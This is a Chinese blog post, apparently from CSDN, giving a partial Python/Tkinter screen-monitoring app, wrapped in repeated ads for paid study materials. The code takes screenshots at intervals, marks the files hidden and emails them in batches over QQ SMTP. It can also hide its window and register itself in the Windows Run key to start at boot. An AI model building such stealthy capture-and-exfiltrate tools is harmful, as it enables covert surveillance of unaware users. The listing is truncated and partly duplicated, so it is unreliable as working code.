一步到位:用Python实现PC屏幕截图并自动发送邮件,实现屏幕监控_python截图网页放邮件附件

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新软件测试全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip1024b (备注软件测试)
img

正文

self.stop_button.grid(row=4, column=1, padx=5, pady=5)
self.stop_button.configure(state=“disabled”)

self.save_button = ttk.Button(self.root, text=“save”, command=self.save_settings)
self.save_button.grid(row=5, column=0, padx=5, pady=5)

self.autostart_var = tk.BooleanVar()
self.autostart_checkbutton = ttk.Checkbutton(self.root, text=“开机自动启动”, variable=self.autostart_var,
command=self.save_settings)
self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)

self.toggle_visibility_button = ttk.Button(self.root, text=“显示/隐藏”, command=self.toggle_visibility)
self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)

创建日志记录器

self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), “screenshot.log”)
self.logger = logging.getLogger(“ScreenshotApp”)
self.logger.setLevel(logging.INFO)
self.logger.addHandler(logging.FileHandler(self.log_file_path))

self.screenshot_running = False
self.screenshot_thread = None
self.stop_event = threading.Event()

初始化输入框的值

self.sender_email_entry.insert(0, self.config.get(“Settings”, “sender_email”, fallback=“”))
self.sender_password_entry.insert(0, self.get_decrypted_password())
self.interval_entry.insert(0, self.config.get(“Settings”, “interval”, fallback=“”))
self.count_entry.insert(0, self.config.get(“Settings”, “count”, fallback=“”))

初始化开机自动启动选项

self.autostart_var.set(self.is_autostart_enabled())

self.root.protocol(“WM_DELETE_WINDOW”, self.on_close)

self.root.bind(“”, self.toggle_visibility)

初始化窗口可见性

visibility = self.config.get(“Settings”, “visibility”, fallback=“visible”)
if visibility == “hidden”:
self.root.withdraw()

if self.autostart_var.get():
self.start_screenshot()

self.root.mainloop()

def on_close(self):
self.stop_screenshot()
self.save_settings()
self.delete_screenshots()
self.root.quit()

def create_default_config(self):
if not os.path.exists(self.config_file):
self.config[“Settings”] = {
“sender_email”: “”,
“sender_password”: “”,
“interval”: “”,
“count”: “”,
“autostart”: “False”,
“visibility”: “visible”
}

config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), “config.ini”)
with open(config_file_path, “w”) as configfile:
self.config.write(configfile)

def start_screenshot(self):
interval_text = self.interval_entry.get()
count_text = self.count_entry.get()

if not interval_text or not count_text:
self.logger.error(“请提供Screen间隔时间和Screen次数”)
return

try:
interval = int(interval_text)
count = int(count_text)
except ValueError:
self.logger.error(“Screen间隔时间和Screen次数必须是有效的整数”)
return
if not self.screenshot_running:
sender_email = self.sender_email_entry.get()
sender_password = self.sender_password_entry.get()
interval = int(self.interval_entry.get())
count = int(self.count_entry.get())

receiver_email = sender_email # 收件邮箱地址默认等于发件邮箱地址

self.logger.info(“开始Screen”)

self.start_button.configure(state=“disabled”)
self.stop_button.configure(state=“normal”)
self.screenshot_running = True
self.stop_event.clear()

self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(
receiver_email, sender_email, sender_password, interval, count))
self.screenshot_thread.start()

def stop_screenshot(self):
if self.screenshot_running:
self.screenshot_running = False
self.stop_event.set()
self.screenshot_thread.join()

self.logger.info(“停止Screen”)
self.start_button.configure(state=“normal”)
self.stop_button.configure(state=“disabled”)

def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):
screenshot_count = 0
screenshots = []

获取用户主目录,并创建’Screenshots’文件夹

user_dir = os.path.expanduser(‘~’)
screenshot_dir = os.path.join(user_dir, ‘Screenshots’)
os.makedirs(screenshot_dir, exist_ok=True)

在开始Screen前清空’Screenshots’文件夹

self.delete_screenshots()

while screenshot_count < count and not self.stop_event.is_set():
try:

Screen

screenshot = pyautogui.screenshot()

生成文件名,格式为“Screen时间.png”

current_time = datetime.datetime.now().strftime(“%Y%m%d_%H%M%S”)
filename = f"Screen_{current_time}.png"

保存Screen到’Screenshots’文件夹中

screenshot_path = os.path.join(screenshot_dir, filename)
screenshot.save(screenshot_path)
screenshots.append(screenshot_path)
screenshot_count += 1

设置文件为隐藏

FILE_ATTRIBUTE_HIDDEN = 0x02
ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)
self.logger.info(f"Screen成功: {screenshot_path}")

if screenshot_count == count: # 达到指定Screen次数后发送Screen
screenshot_count = 0
self.send_email(receiver_email, sender_email, sender_password, screenshots)
self.logger.info(f"Screen发送成功,共发送了 {len(screenshots)} 张Screen")
self.delete_screenshots(screenshots)
screenshots = [] # 清空已发送的Screen列表
except Exception as e:
self.logger.error(f"Screen失败: {str(e)}")

time.sleep(interval)

def send_email(self, receiver_email, sender_email, sender_password, filenames):
msg = MIMEMultipart()
msg[“From”] = sender_email
msg[“To”] = receiver_email
msg[“Subject”] = “Screen”

添加邮件正文

msg.attach(MIMEText(“请查看附件中的Screen。”, “plain”))

添加Screen作为附件

for filename in filenames:
with open(filename, “rb”) as f:
image = MIMEImage(f.read())
image.add_header(‘Content-Disposition’, ‘attachment’, filename=os.path.basename(filename))
msg.attach(image)

try:

发送邮件

with smtplib.SMTP_SSL(“smtp.qq.com”, 465) as smtp:
smtp.login(sender_email, sender_password)
smtp.send_message(msg)

self.logger.info(f"邮件发送成功,收件人: {receiver_email}")

except Exception as e:
self.logger.error(f"邮件发送失败: {str(e)}")

def save_settings(self):

self.config.set(“Settings”, “sender_email”, self.sender_email_entry.get())
self.config.set(“Settings”, “interval”, self.interval_entry.get())
self.config.set(“Settings”, “count”, self.count_entry.get())
self.config.set(“Settings”, “autostart”, str(self.autostart_var.get()))

visibility = “visible” if self.root.state() == “normal” else “hidden”
self.config.set(“Settings”, “visibility”, visibility)

if self.sender_password_entry.get() != self.get_decrypted_password():
encrypted_password = encrypt_data(self.sender_password_entry.get())
self.config.set(“Settings”, “sender_password”, encrypted_password)

config_file_path = os.path.abspath(self.config_file)
with open(config_file_path, “w”) as configfile:
self.config.write(configfile)
self.logger.handlers.clear()
self.logger.addHandler(logging.FileHandler(self.log_file_path))

self.set_autostart(self.autostart_var.get())

def delete_screenshots(self, filenames=None):

获取’Screenshots’文件夹路径

user_dir = os.path.expanduser(‘~’)
screenshot_dir = os.path.join(user_dir, ‘Screenshots’)

if filenames is None:
filenames = glob.glob(os.path.join(screenshot_dir, “Screen*.png”))

for filename in filenames:
try:
os.remove(filename)
self.logger.info(f"删除Screen: {filename}“)
except Exception as e:
self.logger.error(f"删除Screen失败: {str(e)}”)

def get_decrypted_password(self):
encrypted_password = self.config.get(“Settings”, “sender_password”, fallback=“”)
if encrypted_password:
return decrypt_data(encrypted_password)
else:
return “”

def toggle_visibility(self, event=None):
if self.root.state() == “withdrawn”:
self.root.deiconify()
else:
self.root.withdraw()
self.save_settings()

def set_autostart(self, enabled):
key = winreg.HKEY_CURRENT_USER
run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
app_name = “Screen”
app_path = sys.executable # 获取当前脚本的绝对路径

try:
with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:
if enabled:
winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)
self.logger.info(“已设置开机自动启动”)
else:
winreg.DeleteValue(reg_key, app_name)
self.logger.info(“已取消开机自动启动”)
except FileNotFoundError as e:
self.logger.error(f"找不到注册表路径: {str(e)}“)
except PermissionError as e:
self.logger.error(f"没有足够的权限访问注册表: {str(e)}”)
except Exception as e:
self.logger.error(f"设置开机自动启动失败: {str(e)}")

def is_autostart_enabled(self):
key = winreg.HKEY_CURRENT_USER
run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
app_name = “Screen”
app_path = sys.executable # 获取当前脚本的绝对路径

try:
with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:
try:
value, value_type = winreg.QueryValueEx(reg_key, app_name)
return value == app_path
except FileNotFoundError:
return False
except FileNotFoundError as e:
self.logger.error(f"找不到注册表路径: {str(e)}“)
except PermissionError as e:
self.logger.error(f"没有足够的权限访问注册表: {str(e)}”)
except Exception as e:
self.logger.error(f"读取开机自动启动设置失败: {str(e)}")

return False

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注软件测试)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
读取开机自动启动设置失败: {str(e)}")

return False

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注软件测试)
[外链图片转存中…(img-YQC0VZ1I-1713449484633)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 28
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值